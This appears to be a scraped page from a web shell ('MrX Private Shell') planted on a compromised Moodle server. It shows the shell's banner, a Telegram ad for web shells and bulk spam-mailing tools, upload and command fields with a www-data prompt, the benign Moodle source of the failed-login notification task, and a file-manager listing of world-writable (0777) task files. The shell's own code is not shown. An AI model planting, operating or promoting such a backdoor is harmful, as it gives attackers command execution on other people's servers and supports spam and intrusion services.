__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Scheduled task class.
 *
 * @package    core
 * @copyright  2013 onwards Martin Dougiamas  http://dougiamas.com
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace core\task;

/**
 * Simple task to send notifications about failed login attempts.
 */
class send_failed_login_notifications_task extends scheduled_task {

    /** The maximum time period to look back (30 days = 30 * 24 * 3600) */
    const NOTIFY_MAXIMUM_TIME = 2592000;

    /**
     * Get a descriptive name for this task (shown to admins).
     *
     * @return string
     */
    public function get_name() {
        return get_string('tasksendfailedloginnotifications', 'admin');
    }

    /**
     * Do the job.
     * Throw exceptions on errors (the job will be retried).
     */
    public function execute() {
        global $CFG, $DB;

        if (empty($CFG->notifyloginfailures)) {
            return;
        }

        $recip = get_users_from_config($CFG->notifyloginfailures, 'moodle/site:config');

        // Do not look back more than 1 month to avoid crashes due to huge number of records.
        $maximumlastnotifytime = time() - self::NOTIFY_MAXIMUM_TIME;
        if (empty($CFG->lastnotifyfailure) || ($CFG->lastnotifyfailure < $maximumlastnotifytime)) {
            $CFG->lastnotifyfailure = $maximumlastnotifytime;
        }

        // If it has been less than an hour, or if there are no recipients, don't execute.
        if (((time() - HOURSECS) < $CFG->lastnotifyfailure) || !is_array($recip) || count($recip) <= 0) {
            return;
        }

        // We need to deal with the threshold stuff first.
        if (empty($CFG->notifyloginthreshold)) {
            $CFG->notifyloginthreshold = 10; // Default to something sensible.
        }

        // Get all the IPs with more than notifyloginthreshold failures since lastnotifyfailure
        // and insert them into the cache_flags temp table.
        $logmang = get_log_manager();
        /** @var \core\log\sql_internal_table_reader[] $readers */
        $readers = $logmang->get_readers('\core\log\sql_internal_table_reader');
        $reader = reset($readers);
        $readername = key($readers);
        if (empty($reader) || empty($readername)) {
            // No readers, no processing.
            return true;
        }
        $logtable = $reader->get_internal_log_table_name();

        $sql = "SELECT ip, COUNT(*)
                  FROM {" . $logtable . "}
                 WHERE eventname = ?
                       AND timecreated > ?
               GROUP BY ip
                 HAVING COUNT(*) >= ?";
        $params = array('\core\event\user_login_failed', $CFG->lastnotifyfailure, $CFG->notifyloginthreshold);
        $rs = $DB->get_recordset_sql($sql, $params);
        foreach ($rs as $iprec) {
            if (!empty($iprec->ip)) {
                set_cache_flag('login_failure_by_ip', $iprec->ip, '1', 0);
            }
        }
        $rs->close();

        // Get all the INFOs with more than notifyloginthreshold failures since lastnotifyfailure
        // and insert them into the cache_flags temp table.
        $sql = "SELECT userid, count(*)
                  FROM {" . $logtable . "}
                 WHERE eventname = ?
                       AND timecreated > ?
              GROUP BY userid
                HAVING count(*) >= ?";
        $params = array('\core\event\user_login_failed', $CFG->lastnotifyfailure, $CFG->notifyloginthreshold);
        $rs = $DB->get_recordset_sql($sql, $params);
        foreach ($rs as $inforec) {
            if (!empty($inforec->info)) {
                set_cache_flag('login_failure_by_id', $inforec->userid, '1', 0);
            }
        }
        $rs->close();

        // Now, select all the login error logged records belonging to the ips and infos
        // since lastnotifyfailure, that we have stored in the cache_flags table.
        $userfieldsapi = \core_user\fields::for_name();
        $namefields = $userfieldsapi->get_sql('u', false, '', '', false)->selects;
        $sql = "SELECT * FROM (
                        SELECT l.*, u.username, $namefields
                          FROM {" . $logtable . "} l
                          JOIN {cache_flags} cf ON l.ip = cf.name
                     LEFT JOIN {user} u         ON l.userid = u.id
                         WHERE l.eventname = ?
                               AND l.timecreated > ?
                               AND cf.flagtype = 'login_failure_by_ip'
                    UNION ALL
                        SELECT l.*, u.username, $namefields
                          FROM {" . $logtable . "} l
                          JOIN {cache_flags} cf ON l.userid = " . $DB->sql_cast_char2int('cf.name') . "
                     LEFT JOIN {user} u         ON l.userid = u.id
                         WHERE l.eventname = ?
                               AND l.timecreated > ?
                               AND cf.flagtype = 'login_failure_by_info') t
             ORDER BY t.timecreated DESC";
        $params = array('\core\event\user_login_failed', $CFG->lastnotifyfailure, '\core\event\user_login_failed', $CFG->lastnotifyfailure);

        // Init some variables.
        $count = 0;
        $messages = '';
        // Iterate over the logs recordset.
        $rs = $DB->get_recordset_sql($sql, $params);
        foreach ($rs as $log) {
            $a = new \stdClass();
            $a->time = userdate($log->timecreated);
            if (empty($log->username)) {
                // Entries with no valid username. We get attempted username from the event's other field.
                $other = \tool_log\local\privacy\helper::decode_other($log->other);
                $a->info = empty($other['username']) ? '' : $other['username'];
                $a->name = get_string('unknownuser');
            } else {
                $a->info = $log->username;
                $a->name = fullname($log);
            }
            $a->ip = $log->ip;
            $messages .= get_string('notifyloginfailuresmessage', '', $a)."\n";
            $count++;
        }
        $rs->close();

        // If we have something useful to report.
        if ($count > 0) {
            $site = get_site();
            $subject = get_string('notifyloginfailuressubject', '', format_string($site->fullname));
            // Calculate the complete body of notification (start + messages + end).
            $params = array('id' => 0, 'modid' => 'site_errors', 'chooselog' => '1', 'logreader' => $readername);
            $url = new \moodle_url('/report/log/index.php', $params);
            $body = get_string('notifyloginfailuresmessagestart', '', $CFG->wwwroot) .
                    (($CFG->lastnotifyfailure != 0) ? '('.userdate($CFG->lastnotifyfailure).')' : '')."\n\n" .
                    $messages .
                    "\n\n".get_string('notifyloginfailuresmessageend', '',  $url->out(false).' ')."\n\n";

            // For each destination, send mail.
            mtrace('Emailing admins about '. $count .' failed login attempts');
            foreach ($recip as $admin) {
                // Emailing the admins directly rather than putting these through the messaging system.
                email_to_user($admin, \core_user::get_noreply_user(), $subject, $body);
            }
        }

        // Update lastnotifyfailure with current time.
        set_config('lastnotifyfailure', time());

        // Finally, delete all the temp records we have created in cache_flags.
        $DB->delete_records_select('cache_flags', "flagtype IN ('login_failure_by_ip', 'login_failure_by_info')");

    }
}

Filemanager

Name Type Size Permission Actions
adhoc_task.php File 5.81 KB 0777
analytics_cleanup_task.php File 1.73 KB 0777
antivirus_cleanup_task.php File 1.91 KB 0777
asynchronous_backup_task.php File 3.45 KB 0777
asynchronous_copy_task.php File 9.2 KB 0777
asynchronous_restore_task.php File 4.26 KB 0777
automated_backup_report_task.php File 3.02 KB 0777
automated_backup_task.php File 1.65 KB 0777
backup_cleanup_task.php File 3.01 KB 0777
badges_adhoc_task.php File 2.29 KB 0777
badges_cron_task.php File 2.78 KB 0777
badges_message_task.php File 2.17 KB 0777
blog_cron_task.php File 2.16 KB 0777
build_installed_themes_task.php File 1.73 KB 0777
cache_cleanup_task.php File 1.38 KB 0777
cache_cron_task.php File 1.33 KB 0777
calendar_cron_task.php File 2.67 KB 0777
calendar_fix_orphaned_events.php File 2.63 KB 0777
check_for_updates_task.php File 1.6 KB 0777
clean_up_deleted_search_area_task.php File 1.71 KB 0777
complete_plans_task.php File 1.89 KB 0777
completion_daily_task.php File 8.03 KB 0777
completion_regular_task.php File 2.21 KB 0777
context_cleanup_task.php File 1.64 KB 0777
course_backup_task.php File 4.05 KB 0777
create_contexts_task.php File 1.54 KB 0777
database_logger.php File 5.55 KB 0777
delete_incomplete_users_task.php File 2.58 KB 0777
delete_unconfirmed_users_task.php File 2.54 KB 0777
failed_task_callbacks.php File 2.76 KB 0777
file_temp_cleanup_task.php File 4.36 KB 0777
file_trash_cleanup_task.php File 1.44 KB 0777
fix_file_timestamps_task.php File 1.26 KB 0777
grade_cron_task.php File 3.15 KB 0777
grade_history_cleanup_task.php File 2.09 KB 0777
h5p_clean_orphaned_records_task.php File 2.44 KB 0777
h5p_get_content_types_task.php File 2.16 KB 0777
hide_ended_courses_task.php File 1.61 KB 0777
logging_trait.php File 3.1 KB 0777
logmanager.php File 9.79 KB 0777
manager.php File 62.36 KB 0777
messaging_cleanup_task.php File 2.72 KB 0777
password_reset_cleanup_task.php File 1.95 KB 0777
plagiarism_cron_task.php File 2.26 KB 0777
portfolio_cron_task.php File 2.91 KB 0777
question_preview_cleanup_task.php File 2.83 KB 0777
refresh_mod_calendar_events_task.php File 2.74 KB 0777
registration_cron_task.php File 1.37 KB 0777
scheduled_task.php File 22.88 KB 0777
search_index_task.php File 2.27 KB 0777
search_optimize_task.php File 1.76 KB 0777
send_failed_login_notifications_task.php File 8.11 KB 0777
send_login_notifications.php File 4.21 KB 0777
send_new_user_passwords_task.php File 3.33 KB 0777
session_cleanup_task.php File 1.76 KB 0777
show_started_courses_task.php File 5.13 KB 0777
stats_cron_task.php File 2 KB 0777
stored_progress_bar_cleanup_task.php File 1.68 KB 0777
stored_progress_task_trait.php File 2.04 KB 0777
sync_plans_from_template_cohorts_task.php File 2.24 KB 0777
tag_cron_task.php File 11.28 KB 0777
task_base.php File 8.45 KB 0777
task_lock_cleanup_task.php File 1.53 KB 0777
task_log_cleanup_task.php File 1.72 KB 0777
task_logger.php File 2.35 KB 0777
task_trait.php File 1.75 KB 0777
update_geoip2file_task.php File 7.64 KB 0777
Filemanager